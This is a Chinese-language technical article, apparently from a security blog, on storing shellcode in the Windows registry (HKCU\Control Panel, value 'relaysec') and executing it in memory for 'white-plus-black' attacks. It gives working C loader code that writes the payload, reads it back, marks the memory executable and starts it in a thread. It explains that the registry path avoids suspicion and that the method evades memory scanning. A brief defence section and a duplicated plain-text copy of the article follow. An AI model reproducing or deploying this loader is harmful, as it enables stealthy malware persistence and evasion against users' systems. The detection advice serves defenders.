白加黑写入Shellcode到注册表上线
字数 1523 2025-08-23 18:31:17

利用注册表存储和执行Shellcode的技术分析

技术概述

本技术通过将Shellcode写入Windows注册表,然后在需要时读取并执行,实现了一种持久化攻击手段。这种方法可以绕过一些传统的内存检测机制,适用于白加黑攻击场景。

核心实现步骤

1. 写入Shellcode到注册表

使用的API函数

  1. RegOpenKeyExA

    LSTATUS RegOpenKeyExA(
      [in] HKEY hKey,
      [in, optional] LPCSTR lpSubKey,
      [in] DWORD ulOptions,
      [in] REGSAM samDesired,
      [out] PHKEY phkResult
    );
    
    • 参数说明:
      • hKey: 根键句柄,如HKEY_CURRENT_USER
      • lpSubKey: 子键路径
      • ulOptions: 选项,通常为0
      • samDesired: 访问权限,此处需要KEY_SET_VALUE
      • phkResult: 返回的键句柄
  2. RegSetValueExA

    LSTATUS RegSetValueExA(
      [in] HKEY hKey,
      [in, optional] LPCSTR lpValueName,
      DWORD Reserved,
      [in] DWORD dwType,
      [in] const BYTE *lpData,
      [in] DWORD cbData
    );
    
    • 参数说明:
      • hKey: 注册表键句柄
      • lpValueName: 值名称
      • Reserved: 必须为0
      • dwType: 值类型,此处为REG_BINARY
      • lpData: Shellcode数据指针
      • cbData: Shellcode大小

实现代码

#define REGISTRY "Control Panel"  // 注册表路径:计算机\HKEY_CURRENT_USER\Control Panel
#define REGSTRING "relaysec"      // 注册表值名称

BOOL WirteShellcodeRegister(PBYTE shellcode, DWORD shellcodeSize) {
    BOOL bs = TRUE;
    LSTATUS sts = NULL;
    HKEY keys = NULL;
    
    sts = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &keys);
    if(sts == NULL) {
        bs = FALSE;
    }
    
    sts = RegSetValueExA(keys, REGSTRING, 0, REG_BINARY, shellcode, shellcodeSize);
    if(sts == NULL) {
        bs = FALSE;
    }
    
_EndOfFunction:
    if(keys)
        RegCloseKey(keys);
    return bs;
}

2. 从注册表读取Shellcode

使用的API函数

  1. RegGetValueA

    LSTATUS RegGetValueA(
      [in] HKEY hkey,
      [in, optional] LPCSTR lpSubKey,
      [in, optional] LPCSTR lpValue,
      [in, optional] DWORD dwFlags,
      [out, optional] LPDWORD pdwType,
      [out, optional] PVOID pvData,
      [in, out, optional] LPDWORD pcbData
    );
    
    • 参数说明:
      • hkey: 注册表键句柄
      • lpSubKey: 子键路径
      • lpValue: 值名称
      • dwFlags: 限制数据类型,此处为RRF_RT_ANY
      • pdwType: 接收数据类型,可设为NULL
      • pvData: 接收数据的缓冲区
      • pcbData: 数据大小
  2. HeapAlloc

    DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
      [in] HANDLE hHeap,
      [in] DWORD dwFlags,
      [in] SIZE_T dwBytes
    );
    
    • 用于分配存储Shellcode的内存

实现代码

BOOL ReadShellcodeRegister(PBYTE *shellcode, SIZE_T *shellcodeSize) {
    LSTATUS sts = NULL;
    DWORD dread = NULL;
    PVOID ps = NULL;
    
    // 第一次调用获取数据大小
    sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, NULL, &dread);
    if(sts != 0L) {
        return FALSE;
    }
    
    // 分配内存
    ps = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dread);
    if(ps == NULL) {
        return FALSE;
    }
    
    // 第二次调用获取实际数据
    sts = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, ps, &dread);
    if(sts != 0L) {
        return FALSE;
    }
    
    *shellcode = (PBYTE)ps;
    *shellcodeSize = dread;
    return TRUE;
}

3. 执行Shellcode

使用的API函数

  1. VirtualAlloc

    LPVOID VirtualAlloc(
      [in, optional] LPVOID lpAddress,
      [in] SIZE_T dwSize,
      [in] DWORD flAllocationType,
      [in] DWORD flProtect
    );
    
    • 分配可执行内存
  2. VirtualProtect

    BOOL VirtualProtect(
      [in] LPVOID lpAddress,
      [in] SIZE_T dwSize,
      [in] DWORD flNewProtect,
      [out] PDWORD lpflOldProtect
    );
    
    • 修改内存保护属性为可执行
  3. CreateThread

    HANDLE CreateThread(
      [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
      [in] SIZE_T dwStackSize,
      [in] LPTHREAD_START_ROUTINE lpStartAddress,
      [in, optional] LPVOID lpParameter,
      [in] DWORD dwCreationFlags,
      [out, optional] LPDWORD lpThreadId
    );
    
    • 创建线程执行Shellcode

实现代码

BOOL executeShellcode(PVOID shellcode, SIZE_T shellcodeSize) {
    DWORD dpOld = NULL;
    PVOID shellcodeAddress = shellcodeAddress = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    if(shellcodeAddress == NULL) {
        return FALSE;
    }
    
    // 复制Shellcode到可执行内存
    memcpy(shellcodeAddress, shellcode, shellcodeSize);
    memset(shellcode, '\0', shellcodeSize);
    
    // 修改内存属性为可执行
    if(!VirtualProtect(shellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dpOld)) {
        return FALSE;
    }
    
    getchar();  // 调试用暂停
    
    // 创建线程执行Shellcode
    if(CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcodeAddress, NULL, NULL, NULL) == NULL) {
        return FALSE;
    }
    
    return TRUE;
}

技术要点分析

  1. 注册表路径选择

    • 使用HKEY_CURRENT_USER\Control Panel路径,这是一个常规系统路径,不易引起怀疑
    • 值名称设置为relaysec,可根据需要修改
  2. Shellcode存储格式

    • 使用REG_BINARY类型存储原始二进制数据
    • 不进行编码或加密,保持原始Shellcode
  3. 两次读取设计

    • 第一次调用RegGetValueA获取数据大小
    • 第二次调用获取实际数据
    • 这种设计是Windows API常见模式
  4. 内存执行流程

    • 分配内存(VirtualAlloc)
    • 复制Shellcode(memcpy)
    • 清除原始Shellcode(memset)
    • 修改内存属性(VirtualProtect)
    • 创建线程执行(CreateThread)
  5. 权限要求

    • 写入阶段需要KEY_SET_VALUE权限
    • 读取阶段需要KEY_QUERY_VALUE权限

防御建议

  1. 注册表监控

    • 监控敏感注册表位置的写入操作
    • 特别关注REG_BINARY类型的大数据写入
  2. 内存保护

    • 检测PAGE_EXECUTE_READWRITE属性的内存分配
    • 监控从非常规位置(如注册表)加载可执行代码的行为
  3. API调用序列检测

    • 检测RegSetValueExA后接RegGetValueA的可疑序列
    • 检测注册表读取后立即内存执行的模式
  4. 白名单机制

    • 对合法应用程序建立白名单
    • 限制非白名单程序修改关键注册表项

总结

这种技术通过将Shellcode存储在注册表中,实现了攻击载荷的持久化和隐蔽化。它结合了注册表操作和内存执行技术,能够绕过一些传统的内存扫描检测。防御方需要从注册表变更、内存操作和API调用序列等多个维度进行检测,才能有效防范此类攻击。

利用注册表存储和执行Shellcode的技术分析 技术概述 本技术通过将Shellcode写入Windows注册表,然后在需要时读取并执行,实现了一种持久化攻击手段。这种方法可以绕过一些传统的内存检测机制,适用于白加黑攻击场景。 核心实现步骤 1. 写入Shellcode到注册表 使用的API函数 RegOpenKeyExA 参数说明: hKey : 根键句柄,如 HKEY_CURRENT_USER lpSubKey : 子键路径 ulOptions : 选项,通常为0 samDesired : 访问权限,此处需要 KEY_SET_VALUE phkResult : 返回的键句柄 RegSetValueExA 参数说明: hKey : 注册表键句柄 lpValueName : 值名称 Reserved : 必须为0 dwType : 值类型,此处为 REG_BINARY lpData : Shellcode数据指针 cbData : Shellcode大小 实现代码 2. 从注册表读取Shellcode 使用的API函数 RegGetValueA 参数说明: hkey : 注册表键句柄 lpSubKey : 子键路径 lpValue : 值名称 dwFlags : 限制数据类型,此处为 RRF_RT_ANY pdwType : 接收数据类型,可设为NULL pvData : 接收数据的缓冲区 pcbData : 数据大小 HeapAlloc 用于分配存储Shellcode的内存 实现代码 3. 执行Shellcode 使用的API函数 VirtualAlloc 分配可执行内存 VirtualProtect 修改内存保护属性为可执行 CreateThread 创建线程执行Shellcode 实现代码 技术要点分析 注册表路径选择 : 使用 HKEY_CURRENT_USER\Control Panel 路径,这是一个常规系统路径,不易引起怀疑 值名称设置为 relaysec ,可根据需要修改 Shellcode存储格式 : 使用 REG_BINARY 类型存储原始二进制数据 不进行编码或加密,保持原始Shellcode 两次读取设计 : 第一次调用 RegGetValueA 获取数据大小 第二次调用获取实际数据 这种设计是Windows API常见模式 内存执行流程 : 分配内存( VirtualAlloc ) 复制Shellcode( memcpy ) 清除原始Shellcode( memset ) 修改内存属性( VirtualProtect ) 创建线程执行( CreateThread ) 权限要求 : 写入阶段需要 KEY_SET_VALUE 权限 读取阶段需要 KEY_QUERY_VALUE 权限 防御建议 注册表监控 : 监控敏感注册表位置的写入操作 特别关注 REG_BINARY 类型的大数据写入 内存保护 : 检测 PAGE_EXECUTE_READWRITE 属性的内存分配 监控从非常规位置(如注册表)加载可执行代码的行为 API调用序列检测 : 检测 RegSetValueExA 后接 RegGetValueA 的可疑序列 检测注册表读取后立即内存执行的模式 白名单机制 : 对合法应用程序建立白名单 限制非白名单程序修改关键注册表项 总结 这种技术通过将Shellcode存储在注册表中,实现了攻击载荷的持久化和隐蔽化。它结合了注册表操作和内存执行技术,能够绕过一些传统的内存扫描检测。防御方需要从注册表变更、内存操作和API调用序列等多个维度进行检测,才能有效防范此类攻击。